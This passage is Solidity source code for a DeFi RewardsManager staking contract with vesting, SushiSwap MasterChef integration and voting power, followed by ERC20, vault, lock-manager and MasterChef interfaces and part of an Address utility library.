// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IMasterChef.sol"; import "./interfaces/IVault.sol"; import "./interfaces/ILockManager.sol"; import "./interfaces/IERC20Extended.sol"; import "./lib/SafeERC20.sol"; import "./lib/ReentrancyGuard.sol"; /** * @title RewardsManager * @dev Controls rewards distribution for network */ contract RewardsManager is ReentrancyGuard { using SafeERC20 for IERC20Extended; /// @notice Current owner of this contract address public owner; /// @notice Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardTokenDebt; // Reward debt for reward token. See explanation below. uint256 sushiRewardDebt; // Reward debt for Sushi rewards. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of reward tokens // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardsPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accRewardsPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } /// @notice Info of each pool. struct PoolInfo { IERC20Extended token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Reward tokens to distribute per block. uint256 lastRewardBlock; // Last block number where reward tokens were distributed. uint256 accRewardsPerShare; // Accumulated reward tokens per share, times 1e12. See below. uint32 vestingPercent; // Percentage of rewards that vest (measured in bips: 500,000 bips = 50% of rewards) uint16 vestingPeriod; // Vesting period in days for vesting rewards uint16 vestingCliff; // Vesting cliff in days for vesting rewards uint256 totalStaked; // Total amount of token staked via Rewards Manager bool vpForDeposit; // Do users get voting power for deposits of this token? bool vpForVesting; // Do users get voting power for vesting balances? } /// @notice Reward token IERC20Extended public rewardToken; /// @notice SUSHI token IERC20Extended public sushiToken; /// @notice Sushi Master Chef IMasterChef public masterChef; /// @notice Vault for vesting tokens IVault public vault; /// @notice LockManager contract ILockManager public lockManager; /// @notice Reward tokens rewarded per block. uint256 public rewardTokensPerBlock; /// @notice Info of each pool. PoolInfo[] public poolInfo; /// @notice Mapping of Sushi tokens to MasterChef pids mapping (address => uint256) public sushiPools; /// @notice Info of each user that stakes tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @notice Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; /// @notice The block number when rewards start. uint256 public startBlock; /// @notice only owner can call function modifier onlyOwner { require(msg.sender == owner, "not owner"); _; } /// @notice Event emitted when a user deposits funds in the rewards manager event Deposit(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when a user withdraws their original funds + rewards from the rewards manager event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when a user withdraws their original funds from the rewards manager without claiming rewards event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when new pool is added to the rewards manager event PoolAdded(uint256 indexed pid, address indexed token, uint256 allocPoints, uint256 totalAllocPoints, uint256 rewardStartBlock, uint256 sushiPid, bool vpForDeposit, bool vpForVesting); /// @notice Event emitted when pool allocation points are updated event PoolUpdated(uint256 indexed pid, uint256 oldAllocPoints, uint256 newAllocPoints, uint256 newTotalAllocPoints); /// @notice Event emitted when the owner of the rewards manager contract is updated event ChangedOwner(address indexed oldOwner, address indexed newOwner); /// @notice Event emitted when the amount of reward tokens per block is updated event ChangedRewardTokensPerBlock(uint256 indexed oldRewardTokensPerBlock, uint256 indexed newRewardTokensPerBlock); /// @notice Event emitted when the rewards start block is set event SetRewardsStartBlock(uint256 indexed startBlock); /// @notice Event emitted when contract address is changed event ChangedAddress(string indexed addressType, address indexed oldAddress, address indexed newAddress); /** * @notice Create a new Rewards Manager contract * @param _owner owner of contract * @param _lockManager address of LockManager contract * @param _vault address of Vault contract * @param _rewardToken address of token that is being offered as a reward * @param _sushiToken address of SUSHI token * @param _masterChef address of SushiSwap MasterChef contract * @param _startBlock block number when rewards will start * @param _rewardTokensPerBlock initial amount of reward tokens to be distributed per block */ constructor( address _owner, address _lockManager, address _vault, address _rewardToken, address _sushiToken, address _masterChef, uint256 _startBlock, uint256 _rewardTokensPerBlock ) { owner = _owner; emit ChangedOwner(address(0), _owner); lockManager = ILockManager(_lockManager); emit ChangedAddress("LOCK_MANAGER", address(0), _lockManager); vault = IVault(_vault); emit ChangedAddress("VAULT", address(0), _vault); rewardToken = IERC20Extended(_rewardToken); emit ChangedAddress("REWARD_TOKEN", address(0), _rewardToken); sushiToken = IERC20Extended(_sushiToken); emit ChangedAddress("SUSHI_TOKEN", address(0), _sushiToken); masterChef = IMasterChef(_masterChef); emit ChangedAddress("MASTER_CHEF", address(0), _masterChef); startBlock = _startBlock == 0 ? block.number : _startBlock; emit SetRewardsStartBlock(startBlock); rewardTokensPerBlock = _rewardTokensPerBlock; emit ChangedRewardTokensPerBlock(0, _rewardTokensPerBlock); rewardToken.safeIncreaseAllowance(address(vault), type(uint256).max); } /** * @notice View function to see current poolInfo array length * @return pool length */ function poolLength() external view returns (uint256) { return poolInfo.length; } /** * @notice Add a new reward token to the pool * @dev Can only be called by the owner. DO NOT add the same token more than once. Rewards will be messed up if you do. * @param allocPoint Number of allocation points to allot to this token/pool * @param token The token that will be staked for rewards * @param vestingPercent The percentage of rewards from this pool that will vest * @param vestingPeriod The number of days for the vesting period * @param vestingCliff The number of days for the vesting cliff * @param withUpdate if specified, update all pools before adding new pool * @param sushiPid The pid of the Sushiswap pool in the Masterchef contract (if exists, otherwise provide zero) * @param vpForDeposit If true, users get voting power for deposits * @param vpForVesting If true, users get voting power for vesting balances */ function add( uint256 allocPoint, address token, uint32 vestingPercent, uint16 vestingPeriod, uint16 vestingCliff, bool withUpdate, uint256 sushiPid, bool vpForDeposit, bool vpForVesting ) external onlyOwner { if (withUpdate) { massUpdatePools(); } uint256 rewardStartBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint + allocPoint; poolInfo.push(PoolInfo({ token: IERC20Extended(token), allocPoint: allocPoint, lastRewardBlock: rewardStartBlock, accRewardsPerShare: 0, vestingPercent: vestingPercent, vestingPeriod: vestingPeriod, vestingCliff: vestingCliff, totalStaked: 0, vpForDeposit: vpForDeposit, vpForVesting: vpForVesting })); if (sushiPid != uint256(0)) { sushiPools[token] = sushiPid; IERC20Extended(token).safeIncreaseAllowance(address(masterChef), type(uint256).max); } IERC20Extended(token).safeIncreaseAllowance(address(vault), type(uint256).max); emit PoolAdded(poolInfo.length - 1, token, allocPoint, totalAllocPoint, rewardStartBlock, sushiPid, vpForDeposit, vpForVesting); } /** * @notice Update the given pool's allocation points * @dev Can only be called by the owner * @param pid The RewardManager pool id * @param allocPoint New number of allocation points for pool * @param withUpdate if specified, update all pools before setting allocation points */ function set( uint256 pid, uint256 allocPoint, bool withUpdate ) external onlyOwner { if (withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint - poolInfo[pid].allocPoint + allocPoint; emit PoolUpdated(pid, poolInfo[pid].allocPoint, allocPoint, totalAllocPoint); poolInfo[pid].allocPoint = allocPoint; } /** * @notice Returns true if rewards are actively being accumulated */ function rewardsActive() public view returns (bool) { return block.number >= startBlock && totalAllocPoint > 0 ? true : false; } /** * @notice Return reward multiplier over the given from to to block. * @param from From block number * @param to To block number * @return multiplier */ function getMultiplier(uint256 from, uint256 to) public pure returns (uint256) { return to > from ? to - from : 0; } /** * @notice View function to see pending reward tokens on frontend. * @param pid pool id * @param account user account to check * @return pending rewards */ function pendingRewardTokens(uint256 pid, address account) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][account]; uint256 accRewardsPerShare = pool.accRewardsPerShare; uint256 tokenSupply = pool.totalStaked; if (block.number > pool.lastRewardBlock && tokenSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 totalReward = multiplier * rewardTokensPerBlock * pool.allocPoint / totalAllocPoint; accRewardsPerShare = accRewardsPerShare + totalReward * 1e12 / tokenSupply; } uint256 accumulatedRewards = user.amount * accRewardsPerShare / 1e12; if (accumulatedRewards < user.rewardTokenDebt) { return 0; } return accumulatedRewards - user.rewardTokenDebt; } /** * @notice View function to see pending SUSHI on frontend. * @param pid pool id * @param account user account to check * @return pending SUSHI rewards */ function pendingSushi(uint256 pid, address account) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][account]; uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid == uint256(0)) { return 0; } IMasterChef.PoolInfo memory sushiPool = masterChef.poolInfo(sushiPid); uint256 sushiPerBlock = masterChef.sushiPerBlock(); uint256 totalSushiAllocPoint = masterChef.totalAllocPoint(); uint256 accSushiPerShare = sushiPool.accSushiPerShare; uint256 lpSupply = sushiPool.lpToken.balanceOf(address(masterChef)); if (block.number > sushiPool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = masterChef.getMultiplier(sushiPool.lastRewardBlock, block.number); uint256 sushiReward = multiplier * sushiPerBlock * sushiPool.allocPoint / totalSushiAllocPoint; accSushiPerShare = accSushiPerShare + sushiReward * 1e12 / lpSupply; } uint256 accumulatedSushi = user.amount * accSushiPerShare / 1e12; if (accumulatedSushi < user.sushiRewardDebt) { return 0; } return accumulatedSushi - user.sushiRewardDebt; } /** * @notice Update reward variables for all pools * @dev Be careful of gas spending! */ function massUpdatePools() public { for (uint256 pid = 0; pid < poolInfo.length; ++pid) { updatePool(pid); } } /** * @notice Update reward variables of the given pool to be up-to-date * @param pid pool id */ function updatePool(uint256 pid) public { PoolInfo storage pool = poolInfo[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 tokenSupply = pool.totalStaked; if (tokenSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 totalReward = multiplier * rewardTokensPerBlock * pool.allocPoint / totalAllocPoint; pool.accRewardsPerShare = pool.accRewardsPerShare + totalReward * 1e12 / tokenSupply; pool.lastRewardBlock = block.number; } /** * @notice Deposit tokens to RewardsManager for rewards allocation. * @param pid pool id * @param amount number of tokens to deposit */ function deposit(uint256 pid, uint256 amount) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; _deposit(pid, amount, pool, user); } /** * @notice Deposit tokens to RewardsManager for rewards allocation, using permit for approval * @dev It is up to the frontend developer to ensure the pool token implements permit - otherwise this will fail * @param pid pool id * @param amount number of tokens to deposit * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function depositWithPermit( uint256 pid, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; pool.token.permit(msg.sender, address(this), amount, deadline, v, r, s); _deposit(pid, amount, pool, user); } /** * @notice Withdraw tokens from RewardsManager, claiming rewards. * @param pid pool id * @param amount number of tokens to withdraw */ function withdraw(uint256 pid, uint256 amount) external nonReentrant { require(amount > 0, "RM::withdraw: amount must be > 0"); PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; _withdraw(pid, amount, pool, user); } /** * @notice Withdraw without caring about rewards. EMERGENCY ONLY. * @param pid pool id */ function emergencyWithdraw(uint256 pid) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; if (user.amount > 0) { uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid != uint256(0)) { masterChef.withdraw(sushiPid, user.amount); } if (pool.vpForDeposit) { lockManager.removeVotingPower(msg.sender, address(pool.token), user.amount); } pool.totalStaked = pool.totalStaked - user.amount; pool.token.safeTransfer(msg.sender, user.amount); emit EmergencyWithdraw(msg.sender, pid, user.amount); user.amount = 0; user.rewardTokenDebt = 0; user.sushiRewardDebt = 0; } } /** * @notice Set approvals for external addresses to use contract tokens * @dev Can only be called by the owner * @param tokensToApprove the tokens to approve * @param approvalAmounts the token approval amounts * @param spender the address to allow spending of token */ function tokenAllow( address[] memory tokensToApprove, uint256[] memory approvalAmounts, address spender ) external onlyOwner { require(tokensToApprove.length == approvalAmounts.length, "RM::tokenAllow: not same length"); for(uint i = 0; i < tokensToApprove.length; i++) { IERC20Extended token = IERC20Extended(tokensToApprove[i]); if (token.allowance(address(this), spender) != type(uint256).max) { token.safeApprove(spender, approvalAmounts[i]); } } } /** * @notice Rescue (withdraw) tokens from the smart contract * @dev Can only be called by the owner * @param tokens the tokens to withdraw * @param amounts the amount of each token to withdraw. If zero, withdraws the maximum allowed amount for each token * @param receiver the address that will receive the tokens */ function rescueTokens( address[] calldata tokens, uint256[] calldata amounts, address receiver ) external onlyOwner { require(tokens.length == amounts.length, "RM::rescueTokens: not same length"); for (uint i = 0; i < tokens.length; i++) { IERC20Extended token = IERC20Extended(tokens[i]); uint256 withdrawalAmount; uint256 tokenBalance = token.balanceOf(address(this)); uint256 tokenAllowance = token.allowance(address(this), receiver); if (amounts[i] == 0) { if (tokenBalance > tokenAllowance) { withdrawalAmount = tokenAllowance; } else { withdrawalAmount = tokenBalance; } } else { require(tokenBalance >= amounts[i], "RM::rescueTokens: contract balance too low"); require(tokenAllowance >= amounts[i], "RM::rescueTokens: increase token allowance"); withdrawalAmount = amounts[i]; } token.safeTransferFrom(address(this), receiver, withdrawalAmount); } } /** * @notice Set new rewards per block * @dev Can only be called by the owner * @param newRewardTokensPerBlock new amount of reward token to reward each block */ function setRewardsPerBlock(uint256 newRewardTokensPerBlock) external onlyOwner { emit ChangedRewardTokensPerBlock(rewardTokensPerBlock, newRewardTokensPerBlock); rewardTokensPerBlock = newRewardTokensPerBlock; } /** * @notice Set new SUSHI token address * @dev Can only be called by the owner * @param newToken address of new SUSHI token */ function setSushiToken(address newToken) external onlyOwner { emit ChangedAddress("SUSHI_TOKEN", address(sushiToken), newToken); sushiToken = IERC20Extended(newToken); } /** * @notice Set new MasterChef address * @dev Can only be called by the owner * @param newAddress address of new MasterChef */ function setMasterChef(address newAddress) external onlyOwner { emit ChangedAddress("MASTER_CHEF", address(masterChef), newAddress); masterChef = IMasterChef(newAddress); } /** * @notice Set new Vault address * @param newAddress address of new Vault */ function setVault(address newAddress) external onlyOwner { emit ChangedAddress("VAULT", address(vault), newAddress); vault = IVault(newAddress); } /** * @notice Set new LockManager address * @param newAddress address of new LockManager */ function setLockManager(address newAddress) external onlyOwner { emit ChangedAddress("LOCK_MANAGER", address(lockManager), newAddress); lockManager = ILockManager(newAddress); } /** * @notice Change owner of Rewards Manager contract * @dev Can only be called by the owner * @param newOwner New owner address */ function changeOwner(address newOwner) external onlyOwner { require(newOwner != address(0) && newOwner != address(this), "RM::changeOwner: not valid address"); emit ChangedOwner(owner, newOwner); owner = newOwner; } /** * @notice Internal implementation of deposit * @param pid pool id * @param amount number of tokens to deposit * @param pool the pool info * @param user the user info */ function _deposit( uint256 pid, uint256 amount, PoolInfo storage pool, UserInfo storage user ) internal { updatePool(pid); uint256 sushiPid = sushiPools[address(pool.token)]; uint256 pendingSushiTokens = 0; if (user.amount > 0) { uint256 pendingRewards = user.amount * pool.accRewardsPerShare / 1e12 - user.rewardTokenDebt; if (pendingRewards > 0) { _distributeRewards(msg.sender, pendingRewards, pool.vestingPercent, pool.vestingPeriod, pool.vestingCliff, pool.vpForVesting); } if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); pendingSushiTokens = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12 - user.sushiRewardDebt; } } pool.token.safeTransferFrom(msg.sender, address(this), amount); pool.totalStaked = pool.totalStaked + amount; user.amount = user.amount + amount; user.rewardTokenDebt = user.amount * pool.accRewardsPerShare / 1e12; if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); user.sushiRewardDebt = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12; masterChef.deposit(sushiPid, amount); } if (amount > 0 && pool.vpForDeposit) { lockManager.grantVotingPower(msg.sender, address(pool.token), amount); } if (pendingSushiTokens > 0) { _safeSushiTransfer(msg.sender, pendingSushiTokens); } emit Deposit(msg.sender, pid, amount); } /** * @notice Internal implementation of withdraw * @param pid pool id * @param amount number of tokens to withdraw * @param pool the pool info * @param user the user info */ function _withdraw( uint256 pid, uint256 amount, PoolInfo storage pool, UserInfo storage user ) internal { require(user.amount >= amount, "RM::_withdraw: amount > user balance"); updatePool(pid); uint256 sushiPid = sushiPools[address(pool.token)]; if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); uint256 pendingSushiTokens = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12 - user.sushiRewardDebt; masterChef.withdraw(sushiPid, amount); user.sushiRewardDebt = (user.amount - amount) * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12; if (pendingSushiTokens > 0) { _safeSushiTransfer(msg.sender, pendingSushiTokens); } } uint256 pendingRewards = user.amount * pool.accRewardsPerShare / 1e12 - user.rewardTokenDebt; user.amount = user.amount - amount; user.rewardTokenDebt = user.amount * pool.accRewardsPerShare / 1e12; if (pendingRewards > 0) { _distributeRewards(msg.sender, pendingRewards, pool.vestingPercent, pool.vestingPeriod, pool.vestingCliff, pool.vpForVesting); } if (pool.vpForDeposit) { lockManager.removeVotingPower(msg.sender, address(pool.token), amount); } pool.totalStaked = pool.totalStaked - amount; pool.token.safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, pid, amount); } /** * @notice Internal function used to distribute rewards, optionally vesting a % * @param account account that is due rewards * @param rewardAmount amount of rewards to distribute * @param vestingPercent percent of rewards to vest in bips * @param vestingPeriod number of days over which to vest rewards * @param vestingCliff number of days for vesting cliff * @param vestingVotingPower if true, grant voting power for vesting balance */ function _distributeRewards( address account, uint256 rewardAmount, uint32 vestingPercent, uint16 vestingPeriod, uint16 vestingCliff, bool vestingVotingPower ) internal { uint256 vestingRewards = rewardAmount * vestingPercent / 1000000; rewardToken.mint(address(this), rewardAmount); vault.lockTokens(address(rewardToken), address(this), account, 0, vestingRewards, vestingPeriod, vestingCliff, vestingVotingPower); rewardToken.safeTransfer(msg.sender, rewardAmount - vestingRewards); } /** * @notice Safe SUSHI transfer function, just in case if rounding error causes pool to not have enough SUSHI. * @param to account that is receiving SUSHI * @param amount amount of SUSHI to send */ function _safeSushiTransfer(address to, uint256 amount) internal { uint256 sushiBalance = sushiToken.balanceOf(address(this)); if (amount > sushiBalance) { sushiToken.safeTransfer(to, sushiBalance); } else { sushiToken.safeTransfer(to, amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20Burnable is IERC20 { function burn(uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Metadata.sol"; import "./IERC20Mintable.sol"; import "./IERC20Burnable.sol"; import "./IERC20Permit.sol"; import "./IERC20TransferWithAuth.sol"; import "./IERC20SafeAllowance.sol"; interface IERC20Extended is IERC20Metadata, IERC20Mintable, IERC20Burnable, IERC20Permit, IERC20TransferWithAuth, IERC20SafeAllowance {} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20Mintable is IERC20 { function mint(address dst, uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20Permit is IERC20 { function getDomainSeparator() external view returns (bytes32); function DOMAIN_TYPEHASH() external view returns (bytes32); function VERSION_HASH() external view returns (bytes32); function PERMIT_TYPEHASH() external view returns (bytes32); function nonces(address) external view returns (uint); function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20SafeAllowance is IERC20 { function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IERC20TransferWithAuth is IERC20 { function transferWithAuthorization(address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s) external; function receiveWithAuthorization(address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s) external; function TRANSFER_WITH_AUTHORIZATION_TYPEHASH() external view returns (bytes32); function RECEIVE_WITH_AUTHORIZATION_TYPEHASH() external view returns (bytes32); event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ILockManager { struct LockedStake { uint256 amount; uint256 votingPower; } function getAmountStaked(address staker, address stakedToken) external view returns (uint256); function getStake(address staker, address stakedToken) external view returns (LockedStake memory); function calculateVotingPower(address token, uint256 amount) external view returns (uint256); function grantVotingPower(address receiver, address token, uint256 tokenAmount) external returns (uint256 votingPowerGranted); function removeVotingPower(address receiver, address token, uint256 tokenAmount) external returns (uint256 votingPowerRemoved); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; interface IMasterChef { struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. } function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function poolInfo(uint256 _pid) external view returns (PoolInfo memory); function pendingSushi(uint256 _pid, address _user) external view returns (uint256); function updatePool(uint256 _pid) external; function sushiPerBlock() external view returns (uint256); function totalAllocPoint() external view returns (uint256); function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IVault { struct Lock { address token; address receiver; uint48 startTime; uint16 vestingDurationInDays; uint16 cliffDurationInDays; uint256 amount; uint256 amountClaimed; uint256 votingPower; } struct LockBalance { uint256 id; uint256 claimableAmount; Lock lock; } struct TokenBalance { uint256 totalAmount; uint256 claimableAmount; uint256 claimedAmount; uint256 votingPower; } function lockTokens(address token, address locker, address receiver, uint48 startTime, uint256 amount, uint16 lockDurationInDays, uint16 cliffDurationInDays, bool grantVotingPower) external; function lockTokensWithPermit(address token, address locker, address receiver, uint48 startTime, uint256 amount, uint16 lockDurationInDays, uint16 cliffDurationInDays, bool grantVotingPower, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function claimUnlockedTokenAmounts(uint256[] memory lockIds, uint256[] memory amounts) external; function claimAllUnlockedTokens(uint256[] memory lockIds) external; function tokenLocks(uint256 lockId) external view returns(Lock memory); function allActiveLockIds() external view returns(uint256[] memory); function allActiveLocks() external view returns(Lock[] memory); function allActiveLockBalances() external view returns(LockBalance[] memory); function activeLockIds(address receiver) external view returns(uint256[] memory); function allLocks(address receiver) external view returns(Lock[] memory); function activeLocks(address receiver) external view returns(Lock[] memory); function activeLockBalances(address receiver) external view returns(LockBalance[] memory); function totalTokenBalance(address token) external view returns(TokenBalance memory balance); function tokenBalance(address token, address receiver) external view returns(TokenBalance memory balance); function lockBalance(uint256 lockId) external view returns (LockBalance memory); function claimableBalance(uint256 lockId) external view returns (uint256); function extendLock(uint256 lockId, uint16 vestingDaysToAdd, uint16 cliffDaysToAdd) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns 